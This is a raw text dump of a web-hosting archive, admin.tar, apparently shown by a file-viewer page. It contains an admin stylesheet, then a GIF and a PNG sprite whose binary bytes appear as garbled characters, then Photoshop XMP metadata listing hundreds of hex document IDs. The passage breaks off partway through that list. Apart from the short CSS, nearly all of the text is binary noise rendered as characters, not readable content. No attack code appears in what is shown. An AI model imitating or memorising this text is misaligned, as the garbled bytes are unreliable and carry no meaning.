Current File : /home/k/a/r/karenpetzb/www/items/category/admin.tar
admin-blue.css000060400000001577150710775200007305 0ustar00.logo a {
    color: #000;
    font-size: 20px;
    font-weight: bold;
}

.topnavigation ul li.active {
    background-color: #e6e7e8;
}

.wrapper>header,.right-sec>header,.right-sec .search-box,body,.right-sec
	{
	background: none;
}

.topnavigation ul li a,.topnav>ul>li>a,.topnav ul li:hover a {
	color: #428bca;
}

.topnavigation ul li:hover,.topnavigation ul ul,.topnav ul li .popdown,.topnav ul li:hover
	{
	background: #e6e7e8;
}

.topnavigation ul ul li a:hover {
	color: #428bca;
	background: #fff;
}

.settings nav a:hover {
	background: #fff;
}

.user .welcome p,.user .welcome h5,.user .welcome h5 a,.right-sec .search-box input[type="text"]
	{
	color: #222430;
}

.topnavigation ul ul,ul li .popdown {
	border: 1px solid #ccc;
}

.settings nav a {
	border: none;
}
/*
.form-control {
	height: 30px;
	padding: 5px 10px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}
	*/images/toolbar.gif000060400000000104150710775200010135 0ustar00GIF89a�������������!�,	(��A �	�H;images/sprite.png000060400001664610150710775200010043 0ustar00�PNG


IHDR��WZ�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-�'iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-18T22:00:41+05:00</xmp:CreateDate>
         <xmp:MetadataDate>2014-01-27T19:30:18-08:00</xmp:MetadataDate>
         <xmp:ModifyDate>2014-01-27T19:30:18-08:00</xmp:ModifyDate>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <photoshop:ICCProfile>sRGB IEC61966-2.1</photoshop:ICCProfile>
         <photoshop:DocumentAncestors>
            <rdf:Bag>
               <rdf:li>007A8F2028F81F28F5C88009AED2B7CD</rdf:li>
               <rdf:li>00AA89C9CDF8B406CC79B79DC234C45A</rdf:li>
               <rdf:li>00D02E620B3DEFC43D7DBA870F22A5E8</rdf:li>
               <rdf:li>01418E59B3E8871B9359632FD82BFD44</rdf:li>
               <rdf:li>014B8DCA524B9117C12C73D607BB6D4B</rdf:li>
               <rdf:li>0166D6A44B5FA6DDA871E17FA05B6B82</rdf:li>
               <rdf:li>016C0535D06B115E3DE573B48BA3C2C5</rdf:li>
               <rdf:li>0191E247BD2CEC1C89A38AF1B8CB9EC0</rdf:li>
               <rdf:li>021D68B6EF1E081231D9A896A1A2CB5A</rdf:li>
               <rdf:li>02528824334A3CAEF6D30FF3343FC9FC</rdf:li>
               <rdf:li>0278EBB7F04B11B5FB627A97602D82ED</rdf:li>
               <rdf:li>02D4831427412F35A82A05D87FD31923</rdf:li>
               <rdf:li>0308C539BF150FE802D3D8CF0DCE10B0</rdf:li>
               <rdf:li>031B9820FAA6AFF9465F1E1F5F6BD686</rdf:li>
               <rdf:li>0328460FFD8765002B5C4EF4C41FC56D</rdf:li>
               <rdf:li>03EC3B59B79D24F57A017B9465C69A5F</rdf:li>
               <rdf:li>03F042D153E2438F20AEDAF51987AFC5</rdf:li>
               <rdf:li>040BF0E5F6A4E9E83EB36CA5196F3759</rdf:li>
               <rdf:li>043272532C8C4EC5491CBA0C00886647</rdf:li>
               <rdf:li>047B1E8D63DC4BFA04A06550A71D85AE</rdf:li>
               <rdf:li>048D1D478C77AD4ACBB66BC1061102D4</rdf:li>
               <rdf:li>04B085152E9D5D982BDB1738A8C7BC54</rdf:li>
               <rdf:li>050FCA86759BD96AC267A36D4B4E8450</rdf:li>
               <rdf:li>0522B5A2F0A386C714777AB6718B6A06</rdf:li>
               <rdf:li>05A0DAF06B0CDCC02C747B47860343B5</rdf:li>
               <rdf:li>05BBBFF7E635D3934EF4F617901727C5</rdf:li>
               <rdf:li>05D15D2592E1F34DE50F2BCB9D73D7E9</rdf:li>
               <rdf:li>06202182C4396AFE58AF7DF22A02DB25</rdf:li>
               <rdf:li>063DBE968DE0731C6F51C4DD1BF3FAD9</rdf:li>
               <rdf:li>06CAC18D86951B56CAE7C10EFC83DE2F</rdf:li>
               <rdf:li>070D74F06F1326720175EC3506215D9C</rdf:li>
               <rdf:li>0740021039B9A677D019533BA4DD7D53</rdf:li>
               <rdf:li>074C6DE959EC1EEBC31A7C10605DDBEA</rdf:li>
               <rdf:li>07593C005487B30F4434102E83C51706</rdf:li>
               <rdf:li>0761B7E3BBD9447E544A99E1035E59DB</rdf:li>
               <rdf:li>076A97AF678FFAD0BFDCB8F949DB87DE</rdf:li>
               <rdf:li>07806C65C4910A3DBED1594FDEF99235</rdf:li>
               <rdf:li>07C11A8F956F2F6108B7E9F1EA92C9BF</rdf:li>
               <rdf:li>07E5737742196DFC851E592BC47BDAED</rdf:li>
               <rdf:li>080C4E67DCF6EDBC87E469931F1690EA</rdf:li>
               <rdf:li>08415780DED2614D8378CAC9812F23A5</rdf:li>
               <rdf:li>086A4BFDBA5D30C9AB3B6CDCB0390648</rdf:li>
               <rdf:li>087AABF6C7B2659C2BC723E845E16C58</rdf:li>
               <rdf:li>089AA5E28F11EA36130B1CA9B58A15ED</rdf:li>
               <rdf:li>089D5FEC13D7E0911EDA82D6E19524C1</rdf:li>
               <rdf:li>08C74078A9855406D5BE7D34919E178A</rdf:li>
               <rdf:li>08E6E7A4BDB98EB6350D76B648CF92B1</rdf:li>
               <rdf:li>09164AA1FD094B37CC06DBA85F8F1E66</rdf:li>
               <rdf:li>091A2A89671521D200BA35864C61469C</rdf:li>
               <rdf:li>0949F5DC31F17CB3D015CF7BF62FD962</rdf:li>
               <rdf:li>095DE599CDDF5010D861D0AC824575B8</rdf:li>
               <rdf:li>0977163F1928B69FF83AA70B82BFC0B8</rdf:li>
               <rdf:li>0A5185C55EB70998410C7BAEC813DF44</rdf:li>
               <rdf:li>0A5A805B8442EC94F1F791D523171743</rdf:li>
               <rdf:li>0A9CA024BD5D9F3F68D3F75F606B9F3F</rdf:li>
               <rdf:li>0ABF1B0A8F5890E39E6090E9698CA726</rdf:li>
               <rdf:li>0ADE059D564C7425C333AD5E8A2DC1D7</rdf:li>
               <rdf:li>0AE821F4DCFB3823C2F95E19212ABD3D</rdf:li>
               <rdf:li>0AEC862EF261135A2D859748B4A2789E</rdf:li>
               <rdf:li>0B08DD0B560180D4201F096D966530F3</rdf:li>
               <rdf:li>0B2B2DBFD3A11A479A488A5E6C897AC2</rdf:li>
               <rdf:li>0B43ED31C78645A5DBC94BF823C9EB72</rdf:li>
               <rdf:li>0B7BD327475EBDFE4926FCBB68DB0B54</rdf:li>
               <rdf:li>0BF52272C813569ED5B92506EB634D1C</rdf:li>
               <rdf:li>0C1ACA7E9E40CB5337417B531F23DEA9</rdf:li>
               <rdf:li>0C233DA94E9E5209776F29135B3A5801</rdf:li>
               <rdf:li>0CAE348F667433C0981244264C775268</rdf:li>
               <rdf:li>0D3D09A9C77227E2C479880DD01FD4A3</rdf:li>
               <rdf:li>0D83C7BE0C670264D207EA3D5D0C757D</rdf:li>
               <rdf:li>0DAA4DE17DBC421EA5D4F7ADE4AC45B0</rdf:li>
               <rdf:li>0DC0BE0F3142E49352BB13F53BCCEE47</rdf:li>
               <rdf:li>0DD55F83A3F6BFF781506514BEFEAA23</rdf:li>
               <rdf:li>0DF54F9C81D3492D97ED7EB390421BBD</rdf:li>
               <rdf:li>0E3DAD30AE2127D470FD7F8FDD45DE78</rdf:li>
               <rdf:li>0E545EEC702AEA999C27804AA7D9681C</rdf:li>
               <rdf:li>0EE869C3D079888CC53E4640039EF6FE</rdf:li>
               <rdf:li>0F1211BEA87705380E5F19E21AA9B555</rdf:li>
               <rdf:li>101CEE4543D3D0C31473644613427FD3</rdf:li>
               <rdf:li>10254CE4305EC20C4287AB8D5E445B44</rdf:li>
               <rdf:li>1039B8E1D429A646F7265F98982758B7</rdf:li>
               <rdf:li>105E3CC3C8DD7D6AAA3B61A321314853</rdf:li>
               <rdf:li>10F600174D95EAC9309C14ABBDFA1546</rdf:li>
               <rdf:li>110B4CE4B7065B59DF2299CDEDF274D8</rdf:li>
               <rdf:li>1133B37F1842A82E1E6F1067274B155D</rdf:li>
               <rdf:li>114BA67F194156B170D367DD7AF4829C</rdf:li>
               <rdf:li>1161BCDC33BCEC617F35E5B88FA2EA8A</rdf:li>
               <rdf:li>117F5709308269D4CFC1693913EBD4E7</rdf:li>
               <rdf:li>119E2A74E1C15E98E065425162F0B488</rdf:li>
               <rdf:li>11E0F8E83B11E4E382E0522CA6F02EB0</rdf:li>
               <rdf:li>120E7905D5FC47C171B6F4D8B0EFFBA5</rdf:li>
               <rdf:li>120F25D08BFA408F91600E4764D9241D</rdf:li>
               <rdf:li>12248CE795878D6709584F7B78325087</rdf:li>
               <rdf:li>1250A171E278A739DFD57FE8C0F71D53</rdf:li>
               <rdf:li>12764813EB08203AC95B3BA01E4C51A9</rdf:li>
               <rdf:li>12AE24BD9888F9E6B97DB17ECCCAA2E7</rdf:li>
               <rdf:li>12E42112E75B9B70B26CF90A554723AA</rdf:li>
               <rdf:li>1305D53FFD295A922CB2D571EDED9E02</rdf:li>
               <rdf:li>1327D8C8B847B3DD84B4AF16D371A240</rdf:li>
               <rdf:li>133ACA1CCF729C49CA9996386FD8E026</rdf:li>
               <rdf:li>1397080F1FA6DABA148DB1D92FFE7D18</rdf:li>
               <rdf:li>13A86E28A878B8D434FD7A490B5CAD04</rdf:li>
               <rdf:li>14037DD5ED1FEE9EEEB413AA05EFDFE4</rdf:li>
               <rdf:li>14C208E02F9B3F2624299D2669940F17</rdf:li>
               <rdf:li>14D107AA71ABD28848FA591F8BEB5D66</rdf:li>
               <rdf:li>1508A00620B209326EF53C07FE769FAA</rdf:li>
               <rdf:li>150D4B931905CD4E348231D4E6C50951</rdf:li>
               <rdf:li>152F86FE51944F2FDD5F06B2DA418654</rdf:li>
               <rdf:li>156DACB52F51B75D7F3BB50B9612E95C</rdf:li>
               <rdf:li>1579BD4A278B1FE49023C1827CC4EEA6</rdf:li>
               <rdf:li>1583DB70AC146804F3B41CFAEBBF53DB</rdf:li>
               <rdf:li>158FCF16C3F4422FF14E2E5EBF1E95BB</rdf:li>
               <rdf:li>16967C59AAC0F52EC3B43173C2062EED</rdf:li>
               <rdf:li>16AD4D00B468D265176F3B1262EA46F9</rdf:li>
               <rdf:li>16CB9E30B5376C7FD0F502B07664D456</rdf:li>
               <rdf:li>16D38AAAF6AF06206B8493B437642E78</rdf:li>
               <rdf:li>177772BEF6625A833E2194AC4FC8691F</rdf:li>
               <rdf:li>1779A1547B43E6289AE451A1083C9EAC</rdf:li>
               <rdf:li>1781CC469F4C62EA7328874D5F5C5D61</rdf:li>
               <rdf:li>18288B3E553121F2B92D50D42C005ED5</rdf:li>
               <rdf:li>18375347FDE41845B2B09F45DDE79D1F</rdf:li>
               <rdf:li>18405694690AFAC76A0E7157937A019C</rdf:li>
               <rdf:li>1844C39E128D9A77472E9984FB746F76</rdf:li>
               <rdf:li>18500B938DA4284BF39E90DBB6BF6E96</rdf:li>
               <rdf:li>18745D5BF754C0C26F05F711775F8800</rdf:li>
               <rdf:li>18AA8E219A311C0F46EF2A2C7F4080CA</rdf:li>
               <rdf:li>191D38AAC21C90E417D2255EBAF29771</rdf:li>
               <rdf:li>195288F5794B797F6BFE11DAB292A66E</rdf:li>
               <rdf:li>196BC698CD480E0A3E5D45251DC90340</rdf:li>
               <rdf:li>198E4E791576915ADC714EDA5CA91FB4</rdf:li>
               <rdf:li>19BACB1041BC8174E2792CF495FA9D7B</rdf:li>
               <rdf:li>1A410835C7A722F1778BC61C10FC2D9D</rdf:li>
               <rdf:li>1A47B6BEAB888CB269C9E793A762EDA2</rdf:li>
               <rdf:li>1A6001F536CC88CB1F105419AFC38FBC</rdf:li>
               <rdf:li>1AA6BE40ED84D5CE51620125314DCC30</rdf:li>
               <rdf:li>1ACB62A16118590BDB5B932507433DF5</rdf:li>
               <rdf:li>1BB3EA038F1E3C87F1790B41D2006FB8</rdf:li>
               <rdf:li>1BD94EC179F9CC59C4E0CB6DFE9AA604</rdf:li>
               <rdf:li>1C1FED53C800FEB09A1259BAD0288AAF</rdf:li>
               <rdf:li>1C45E335E10DA8FF308913BBFEBDEED3</rdf:li>
               <rdf:li>1C48EC105DB1F7C3A54D40F538B6F19D</rdf:li>
               <rdf:li>1D41D35F691098AE2841B0207E703174</rdf:li>
               <rdf:li>1D46AD52A60FA7490B863B7122B96F2D</rdf:li>
               <rdf:li>1E3D92A0BD8FB537522DB446EFC30304</rdf:li>
               <rdf:li>1E605EAD8728EE611A2EB10BB99CF631</rdf:li>
               <rdf:li>1E9C86E91A9EB9FDD6823A09463A48AE</rdf:li>
               <rdf:li>1EDB0F0C45884109D923767FEA43FCCF</rdf:li>
               <rdf:li>1F7FF4E80A606386342F1B0D47C225DD</rdf:li>
               <rdf:li>1FAEAB234AEEBAAFFFE808AC42352C27</rdf:li>
               <rdf:li>1FD6188A97B7B4F1C26AB0B6062A2EEF</rdf:li>
               <rdf:li>1FF5F2CDF1256DA9302249E8B43860A6</rdf:li>
               <rdf:li>20256573B64764D14A1D4A72BB5BC427</rdf:li>
               <rdf:li>202E75425836F4F44BFE804C3D237218</rdf:li>
               <rdf:li>2044DA49D88E4C5F7A33CCA2D13CD29C</rdf:li>
               <rdf:li>205818564385642AB40B9C36013EAC7F</rdf:li>
               <rdf:li>206C9B6EA1F128B5EF463429587E2A1F</rdf:li>
               <rdf:li>20C592C6103E0E381D1955B4CAFCB321</rdf:li>
               <rdf:li>211A8614C2ACB3E1A54FBD8B408093E7</rdf:li>
               <rdf:li>2159ED978294058EAF6B1282D8824FB7</rdf:li>
               <rdf:li>222E8BEF52B0546EA8879C8AAEC903DD</rdf:li>
               <rdf:li>22308ED8C67D54594A9627E7C6E4752A</rdf:li>
               <rdf:li>2240F50960BFF5BB5798F92385F45433</rdf:li>
               <rdf:li>227564980C9F5DD71B7CCF82F89D50CD</rdf:li>
               <rdf:li>22BE6605108EC1C53B700E7A313289E3</rdf:li>
               <rdf:li>22E1AC321C35CC20EF86FD5EB5C1BE93</rdf:li>
               <rdf:li>22E4A268EA1C0157213B56ED617EC52D</rdf:li>
               <rdf:li>22E5303F99FFF5DC7AD4DD2776271C41</rdf:li>
               <rdf:li>22E6D7A6259F653A67C54C58FA86090C</rdf:li>
               <rdf:li>23277B0C248652CD869DDF98E07DD7FA</rdf:li>
               <rdf:li>23CC2F9D29915FC79E7DAAB3752983AB</rdf:li>
               <rdf:li>23FA88BC3F48C6C176D3630275134026</rdf:li>
               <rdf:li>24150973F8B082AEB64357A4FD141DDE</rdf:li>
               <rdf:li>2579F6A67E79AE08AD4C5F8DF5A58333</rdf:li>
               <rdf:li>257C7629B7F41750316EA19492C65422</rdf:li>
               <rdf:li>25D2427C1D7B84A95E0113EC1F03970F</rdf:li>
               <rdf:li>261DAE00DD13367EF8E1ECFC54263702</rdf:li>
               <rdf:li>26A2FFC6F6F227E95267CEAE72736095</rdf:li>
               <rdf:li>26AB393E4D2BFFA337296E8CBAA4BF9C</rdf:li>
               <rdf:li>26AC6C3612063EB56A5BBB44FD9BD876</rdf:li>
               <rdf:li>26BD1CAF29D2D5C17B3A60BFF353B7D9</rdf:li>
               <rdf:li>26CCFE360B177C10EA8FD70CB1BA9174</rdf:li>
               <rdf:li>27106042BA3FEC00F88CE21F59742816</rdf:li>
               <rdf:li>275E4AFEC0C5B56E691439582A1066A5</rdf:li>
               <rdf:li>277BDD5F3630FCAE3065A3E9DA6C5000</rdf:li>
               <rdf:li>27C52E582DBBA8EA821D84616CD9E27C</rdf:li>
               <rdf:li>281CFFB31E67A06EDFE1F6C4B8A58E77</rdf:li>
               <rdf:li>2820619B4BFDD1F1E34D3044D64C6A84</rdf:li>
               <rdf:li>2829D10DEFF6A9D05C61F39F631EB9C6</rdf:li>
               <rdf:li>28622383EFBA3ACD64C314E8A09F022D</rdf:li>
               <rdf:li>28B8F04979D55418946CE83AE13DC7D1</rdf:li>
               <rdf:li>29052771A89F28037EDC25D6C8BF58BD</rdf:li>
               <rdf:li>2980496C708F340AFD5CF0B4808CA225</rdf:li>
               <rdf:li>298AE66CDDA0676D497FD662CC46E789</rdf:li>
               <rdf:li>2992D8BA68A1CA1E136AFA133F1B8A07</rdf:li>
               <rdf:li>2A347160D2809DD3C528385E3F34B325</rdf:li>
               <rdf:li>2A4814991CCCC900A3DF8F2E5A8CD757</rdf:li>
               <rdf:li>2A49C885434FA453BD21507B1D0E5ED3</rdf:li>
               <rdf:li>2B1242E67A8A7F61F88DDF9CDAD535CC</rdf:li>
               <rdf:li>2B17885252F1C8D26CD19E78C74272C6</rdf:li>
               <rdf:li>2B36D84CD52D170B6D8B745061B79FBD</rdf:li>
               <rdf:li>2B39980FA5099CA9BEC84740F3F59090</rdf:li>
               <rdf:li>2B4A13F5B0E3F111B9220D3779B94ABA</rdf:li>
               <rdf:li>2B4D1489F8ABA58B0ADD1A99E0600EAF</rdf:li>
               <rdf:li>2BC67F59843C0FA16583E89B48917624</rdf:li>
               <rdf:li>2BE992406CF18AABADC5C00640093E87</rdf:li>
               <rdf:li>2C226FE21D1B9EF5E25285DC4CA3AE59</rdf:li>
               <rdf:li>2C522438BC9130C0B4174BBBBFC27030</rdf:li>
               <rdf:li>2C593132857F38549413A775FD748CC3</rdf:li>
               <rdf:li>2C7CCC3B37B0F2D8A3B8B4956AA9A893</rdf:li>
               <rdf:li>2C81F2C38CBF148E4321E07364215F25</rdf:li>
               <rdf:li>2C92319521AEB79A069EF99448D1B9AB</rdf:li>
               <rdf:li>2CA999D9E3BA6EB00AFE077C9FC2D76A</rdf:li>
               <rdf:li>2D025698B09A3C93799C840649D05A64</rdf:li>
               <rdf:li>2D13588D501206BBC214B59F54674AA1</rdf:li>
               <rdf:li>2D63B360A4B3F713EC188069B1BE9EA0</rdf:li>
               <rdf:li>2E35FC331775D05C0CB2329249EA2BD4</rdf:li>
               <rdf:li>2E5E625D41787229A42EA78743DFED92</rdf:li>
               <rdf:li>2E6FF024ACCC00680701A979387E01BB</rdf:li>
               <rdf:li>2EA0B470BDF169F408F5E6D2EADBB86E</rdf:li>
               <rdf:li>2EFBF9849BE1E7F7D83C341678B86918</rdf:li>
               <rdf:li>2F7361AF09877E51CC4DBF32B0DFEFF9</rdf:li>
               <rdf:li>2F74E1D3157B25F62DA101CEB7A06FCE</rdf:li>
               <rdf:li>2FBDD17EC0490511CF04E33083AFD89B</rdf:li>
               <rdf:li>30962B52603565D6F8BD7A1C4CBC195D</rdf:li>
               <rdf:li>30A8ECBE7248B4FB91FCCE7724596D35</rdf:li>
               <rdf:li>30B1F6ABC7FC1CC5EFB985A8E78558E3</rdf:li>
               <rdf:li>30E0702AC3EFF35E253DDF287DCCEDEE</rdf:li>
               <rdf:li>30F195B254AE4EA3732AAED75E48F021</rdf:li>
               <rdf:li>30FD1BAD28EBA7CE28747B0B3684856B</rdf:li>
               <rdf:li>3100425D54A1A84EE1AC339E81C51733</rdf:li>
               <rdf:li>3100E0B5C59D0209800654301DB2B6D9</rdf:li>
               <rdf:li>311316D9E1E7BFD42C67C8C1FBCCE93A</rdf:li>
               <rdf:li>314AC4D5EF99C42510C416A559A41801</rdf:li>
               <rdf:li>3160AB87A26AFE7F75073EF401C1875E</rdf:li>
               <rdf:li>3175AB4E3CF5008DA55FBA9F9B1A8E9E</rdf:li>
               <rdf:li>324E2035894754A1554312C295B0C193</rdf:li>
               <rdf:li>3291A38A086C98AF94692F69DF87E569</rdf:li>
               <rdf:li>32B1423BD4C6D857AD462F504DF3FD16</rdf:li>
               <rdf:li>32CF24E4495F6C0707A20B68008C9CFA</rdf:li>
               <rdf:li>32ECBA38E117BE3E534C3C345E9BEC19</rdf:li>
               <rdf:li>335711E728BB1EFE4D3E40FBA5CC49CE</rdf:li>
               <rdf:li>33743A05C6E6532EC0B1712581186ECE</rdf:li>
               <rdf:li>337A5C0F951F57686FD21E267680FC46</rdf:li>
               <rdf:li>33A1CC4D2045ECB79780EB0A2FDFD0D0</rdf:li>
               <rdf:li>33E9A72FC9A9E866D7F67899150B216C</rdf:li>
               <rdf:li>34065C5EB08F81FEA45CE1AA6CA2DF4D</rdf:li>
               <rdf:li>3406EFB0378406989A9D11267A06CE3B</rdf:li>
               <rdf:li>341E28EA5950B9CD38585F44EF4DD974</rdf:li>
               <rdf:li>34272FC212EA43B878F770F401EAC9CC</rdf:li>
               <rdf:li>34294F5DACDE4143E112F86E90A373A2</rdf:li>
               <rdf:li>342AB8DFD7035BDEB301205957EDA467</rdf:li>
               <rdf:li>346C1B49E2BF7641AD357175E1AB812E</rdf:li>
               <rdf:li>347DE4FEE7FBFE3C3794BCA2A9DD0850</rdf:li>
               <rdf:li>34A3AF54DE8725C4DF09B7654BC4F9CF</rdf:li>
               <rdf:li>34B0144AA5233E607CC7F68939F2E419</rdf:li>
               <rdf:li>34D94D66AB0A56B1B148C607AEAE88B8</rdf:li>
               <rdf:li>34F779FF82DE83FE32944BC7EF2D7387</rdf:li>
               <rdf:li>358206C7573FC1FFE4A5F9E5999CB595</rdf:li>
               <rdf:li>36283266DA00CF33B44094703B81C765</rdf:li>
               <rdf:li>363CF80630C5F30E44A13C883B2E0CE9</rdf:li>
               <rdf:li>364AEC2F39FA295828D5AF584AD6C615</rdf:li>
               <rdf:li>3676D3FA1F956CB094AE89FA9D9DEBB1</rdf:li>
               <rdf:li>36D1AE6D2CCA88AB4BBF36D9AC438348</rdf:li>
               <rdf:li>374194BEB0940399DDC953A327CF0E6F</rdf:li>
               <rdf:li>374B8A3929682F3F52D02411C392409E</rdf:li>
               <rdf:li>37689989ADD17924874339092C16888E</rdf:li>
               <rdf:li>37B3B58FEEA727D9A22AFDE38818E2A1</rdf:li>
               <rdf:li>37BEFA1729696D03B4517521C8B2D7B2</rdf:li>
               <rdf:li>385E953D218220092A50958205707CDF</rdf:li>
               <rdf:li>38EC5D173DC537F9469158268EEA3DCD</rdf:li>
               <rdf:li>393AEC4C4DD2A6E90AC1840FDAE1D935</rdf:li>
               <rdf:li>39443C0A712EB430CA2A3DC485E94472</rdf:li>
               <rdf:li>39481E9D69D605D261734BD2E5604B8D</rdf:li>
               <rdf:li>394D2B3E46140A17D85B86987B820806</rdf:li>
               <rdf:li>39658C98BFC13C6804DF96D972CB2AD3</rdf:li>
               <rdf:li>39950EE195165F6D958FDC7C58225DB2</rdf:li>
               <rdf:li>39A8A3429322F5A6E9DD3A7CB0277ED4</rdf:li>
               <rdf:li>39EE4AE0FC418E2E830EC4E9F5EE588D</rdf:li>
               <rdf:li>3A24580B8128C0AF3527D5F0E708B865</rdf:li>
               <rdf:li>3A9DA032F627041F0A381918B4C5AB0E</rdf:li>
               <rdf:li>3AD7F1A80037B71819471B2CDF93C076</rdf:li>
               <rdf:li>3AE2A0A3715F467E521641A697D517BF</rdf:li>
               <rdf:li>3AE81DAFE554E9A2CD5A84EC8A3E6C32</rdf:li>
               <rdf:li>3AF200715A1DE4B8F253470040D86C78</rdf:li>
               <rdf:li>3B426D14246DD6EA442F8827462086AB</rdf:li>
               <rdf:li>3B6D44491F9DED4B94BD58F461F37FCB</rdf:li>
               <rdf:li>3B84B1DF7B630B5E61CDB112E32C8FE2</rdf:li>
               <rdf:li>3B85E7EC3F4ED8F39E4EABD14FE19A68</rdf:li>
               <rdf:li>3BA103E5624FDEC48512F35B464E60ED</rdf:li>
               <rdf:li>3BB71DAB78E51CBC0FD666F1E46C710A</rdf:li>
               <rdf:li>3BE59B91DD663874714AF451F0C36CF9</rdf:li>
               <rdf:li>3BF75537B6E4F5D4CCB23E3C6D691386</rdf:li>
               <rdf:li>3C18A44652EDF4D2D9A35F73D267ECEC</rdf:li>
               <rdf:li>3CF6886BB569D09259AD3DC8679AC153</rdf:li>
               <rdf:li>3D404647218C2A142198F805D73D0B1F</rdf:li>
               <rdf:li>3E3116A96F60A7AA6D994A2A5ECA217D</rdf:li>
               <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li>
               <rdf:li>3E5772FF85D74EFDA45DF71E6DE4979E</rdf:li>
               <rdf:li>3EBE692CB706DB1E2EE339357B3CD705</rdf:li>
               <rdf:li>3F4305F7F474B7410C5CA14EFB26937C</rdf:li>
               <rdf:li>40123370BCDF7FD8A1172B2DA684DCBA</rdf:li>
               <rdf:li>406255D3FD1EEACF2F5C8B46904D0360</rdf:li>
               <rdf:li>408F9FA0777C6CE40835673F0BEE32E6</rdf:li>
               <rdf:li>4092529F21DDCC6EC93CA5F4F211A4FA</rdf:li>
               <rdf:li>409FBBEF3BB7F22C0502A5B738161B3F</rdf:li>
               <rdf:li>40B2560E9346C94FE9E134D23DD1D735</rdf:li>
               <rdf:li>40D6EEBB4DF5BF4C86A9CD8996F2821D</rdf:li>
               <rdf:li>41BC5025A204DFD595F9F06870583A07</rdf:li>
               <rdf:li>420E7E5FC54CFB2512554B1802EE3946</rdf:li>
               <rdf:li>422959A31A7AC23E3581C9ABC021B656</rdf:li>
               <rdf:li>42B22E6CB55B2843D141320F013B0EF1</rdf:li>
               <rdf:li>42CE8CD7D3D4914ECB48E19446F28FE7</rdf:li>
